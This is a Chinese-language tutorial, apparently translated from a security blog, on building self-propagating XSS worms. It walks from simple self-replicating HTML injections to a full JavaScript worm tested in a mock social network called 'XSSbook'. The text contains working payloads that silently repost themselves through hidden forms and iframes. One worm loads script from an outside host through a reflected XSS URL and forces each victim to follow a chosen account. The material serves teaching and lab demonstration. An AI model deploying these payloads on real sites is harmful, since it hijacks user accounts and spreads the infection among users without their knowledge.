XSS蠕蟲的構(gòu)造
小編寄語:
XSS攻擊最大的危害在于可能在一個系統(tǒng)中的用戶間互相感染,以致整個系統(tǒng)的用戶淪陷。能夠造成這種危害的腳本我們稱之為XSS蠕蟲。
第一部分
XSS攻擊最大的危害在于可能在一個系統(tǒng)中的用戶間互相感染,以致整個系統(tǒng)的用戶淪陷。能夠造成這種危害的腳本我們稱之為xss蠕蟲。
為了更好的理解為xss蠕蟲的工作原理,我們需要開始一段嶄新的旅程去了解構(gòu)造自我復(fù)制的代碼所需要的技術(shù)。
出于教學(xué)目的,我們將僅僅以最簡單的代碼實例做講解。 所以我們盡可能避免使用XHR等js過程。
讓我們來看看最簡單的一個自我復(fù)制的反射型XSS實例。它僅僅能夠在頁面注入一個鏈接,打開這個鏈接將在新的標(biāo)簽頁中注入同樣的xss語句。
- <a href target=_blank>click</a>
可以在這里(http://brutelogic.com.br/webgun/test.php?p=%3Ca%20href%20target=_blank%3Eclick%3C/a%3E)嘗試一下。
現(xiàn)在我們來看一個稍微復(fù)雜一些的例子。這個(http://brutelogic.com.br/tests/comments.php)頁面用于發(fā)送評論,并且存在存儲型xss。 如果我們在評論中插入如下代碼:
- <form method=post onclick=elements[0].value=outerHTML;submit()>
- <input type=hidden name=comment>click me!</form>
這里注入了一個表格,使用post方法發(fā)送comment參數(shù)。每當(dāng)onclick方法被觸發(fā)時,它會將表格中的第一個元素的value填充為整個form標(biāo)簽內(nèi)的html代碼(包括form標(biāo)簽本身)這樣每當(dāng)有人點擊click me!我們就能不斷的發(fā)送這條評論到評論頁面中,也就完成了自我復(fù)制。
對于很少有用戶交互的xss向量,我們可以使用onmouseover事件或者類似的css trick來增加觸發(fā)蠕蟲的可能性。
盡管上面這個例子看起來很有趣,但是實際上一般評論頁面都不會允許在評論中插入一個表格,在反射型xss中更有可能觸發(fā),但是這樣造成的危害并不大,所以為了造成實際危害,我們需要結(jié)合反射型XSS與存儲型XSS。
下面的一段代碼將被插入到一個反射型xss中。
- <form method=post action="//brutelogic.com.br/tests/comments.php"
- onclick="elements[0].value='<a/href='%2BURL%2B'>link</a>';submit()">
- <input type=hidden name=comment>click me!</form>
當(dāng)click me被點擊時,它將向comments.php post數(shù)據(jù),完成發(fā)送評論的操作。和之前的html代碼不同的是,他post的comment內(nèi)容不再是一個表格,而是一個鏈接,鏈接的內(nèi)容指向同樣的xss向量,也就是注入了蠕蟲代碼的的存在存儲型xss的頁面。鏈接被點擊后將繼續(xù)造成蠕蟲傳播。
為了讓攻擊進(jìn)行的更加隱蔽,我們可以不讓用戶返回至comment頁面,而是通過插入一個不可見的iframe,并將請求在這個不可見的iframe中打開,代碼如下:
- <iframe style=display:none name=x></iframe>
- <form method=post action="//brutelogic.com.br/tests/comments.php"
- onclick="elements[0].value='<a/href='%2BURL%2B'>link</a>';submit()"
- target=x><input type=hidden name=comment>click me!</form>
在這里嘗試(http://brutelogic.com.br/webgun/test.php?p=%3Ciframe%20style=display:none%20name=x%3E%3C/iframe%3E%3Cform%20method=post%20action=%22//brutelogic.com.br/tests/comments.php%22onclick=%22elements%5B0%5D.value=%27%3Ca/href=%27%2bURL%2b%27%3Elink%3C/a%3E%27;submit%28%29%22target=x%3E%3Cinput%20type=hidden%20name=comment%3Eclick%20me!%3C/form%3E)。
下一部分中,我們將做一個獨特的實驗,即xss在傳統(tǒng)社交網(wǎng)絡(luò)中的不同用戶間的傳播是如何進(jìn)行的。
第二部分
為了理解XSS蠕蟲的實際應(yīng)用,我們首先介紹一下XSS蠕蟲的傳播環(huán)境,一個簡單的社交網(wǎng)絡(luò)。我們姑且叫他XSSbook,它的數(shù)據(jù)庫主要由三個表組成。
每個表的內(nèi)容
users表有該社交系統(tǒng)中的用戶信息,包括用戶id,登錄名,姓名,加密后的密碼,電子郵箱地址和簡單的自我介紹。
posts表存儲了文章信息,包括文章id,發(fā)布者id,文章內(nèi)容與文章發(fā)布時間。
最后,follows表描述了用戶之間收聽與被收聽的關(guān)系,即每個收聽的用戶的動態(tài)都會出現(xiàn)在該用戶的timeline上。
這一系列php代碼可以完成會話控制等功能,支撐整個系統(tǒng)的運(yùn)轉(zhuǎn)。
現(xiàn)在挑戰(zhàn)在于用如何盡可能接近真實社交網(wǎng)絡(luò)的數(shù)據(jù)傳播來使用虛假數(shù)據(jù)產(chǎn)生一個數(shù)據(jù)庫。為了達(dá)到這個目的,我們會使用bash腳本來生成一系列數(shù)據(jù)以貼近大型社交網(wǎng)絡(luò)。我們也將努力的呈現(xiàn)這種呈指數(shù)級別增長的XSS蠕蟲的威力,即當(dāng)成千上萬的用戶連接時,XSS蠕蟲的傳播將越來越快!
第三部分
我們以一個數(shù)據(jù)集合開始產(chǎn)生一個XSSBOOK的數(shù)據(jù)庫。
和傳統(tǒng)社交網(wǎng)絡(luò)一樣,只有極少用戶能夠擁有大量的聽眾。為了方便演示,這里我們產(chǎn)生了一百個用戶,他們都有同樣的密碼12345678。
其中,“Brute”是最后一個用戶。
XSSBOOK這個應(yīng)用看起來是這個樣子的。
首頁顯示了收聽的用戶所發(fā)表的信息。在上面的截圖當(dāng)中,Brute收聽了Angela并且看到Angela最近的推文。他的資料頁展示了他的聽眾數(shù)量(目前是0)和自我介紹。Brute還沒有發(fā)表過推文所以沒有顯示。
蠕蟲傳播的開始,第一個受到感染的是George。他因為訪問了一個通過搜索功能存在的反射型xss漏洞構(gòu)造的蠕蟲而受到感染:
http://localhost/xssbook/search.php?user=%3Cscript%20src=//brutelogic.com.br/tmp/xssbook.js%3E%3C/script%3E
引入的js的內(nèi)容為
x = new XMLHttpRequest();
x.open('POST', 'home.php', true);
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
x.send('post=
Check this!');
fr = document.createElement('iframe');
fr.setAttribute('name', 'myFrame');
fr.setAttribute('style', 'display:none');
document.body.appendChild(fr);fo = document.createElement('form');
fo.setAttribute('method', 'post');
fo.setAttribute('action', 'profile.php?id=100');
fo.setAttribute('target', 'myFrame');
i = document.createElement('input');
i.setAttribute('type', 'hidden');
i.setAttribute('name', 'follow');
fo.appendChild(i);
fo.elements[0].value='follow';document.body.appendChild(fo);
fo.submit();
解析一下這段js
x = new XMLHttpRequest();
x.open('POST', 'home.php', true);
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
x.send('post=
Check this!');
開頭四行是蠕蟲的自我傳播部分,它在用戶不知情的情況下發(fā)送了一條推文,推文的內(nèi)容首先閉合了 textarea標(biāo)簽,插入了一個換行符,再插入了一個指向當(dāng)前頁面(即蠕蟲傳播)的鏈接。
fr = document.createElement(‘iframe’);
fr.setAttribute(‘name’, ‘myFrame’);
fr.setAttribute(‘style’, ‘display:none’);
document.body.appendChild(fr);
這四行我們創(chuàng)建了個看不見的iframe,這個iframe將會成為接下來蠕蟲要創(chuàng)建的form的target(這樣做的目的見上文)。
fo = document.createElement('form');
fo.setAttribute('method', 'post');
fo.setAttribute('action', 'profile.php?id=100');
fo.setAttribute('target', 'myFrame');
這四行代碼創(chuàng)建了一個form,target是之前的iframe,目標(biāo)頁面是100號用戶的個人資料,也就是brute用戶的個人資料頁面。
i = document.createElement(‘input’);
i.setAttribute(‘type’, ‘hidden’);
i.setAttribute(‘name’, ‘follow’);
fo.appendChild(i);
這里創(chuàng)建了個不可見的input塊,目的在于post一個follow的值。
fo.elements[0].value='follow';
而follow的值也被設(shè)定為follow。
document.body.appendChild(fo);
form被加入到頁面中
fo.submit();
form最終被提交。
如我們所見,這段蠕蟲代碼將會復(fù)制自身,傳播自身,并且關(guān)注用戶“Brute”
所以我們現(xiàn)在有一個100人規(guī)模的社交網(wǎng)絡(luò),連接數(shù)為463。我們現(xiàn)在要看看蠕蟲在用戶間的傳播。為了達(dá)到這個目的我們將使用Firefox擴(kuò)展Selenium IDE。
我們使用該擴(kuò)展模擬用戶的行為,通過給定的csv表格中的帳號信息陸續(xù)登錄賬戶,點擊timeline上的鏈接。接下來我們就可看到該蠕蟲的快速傳播。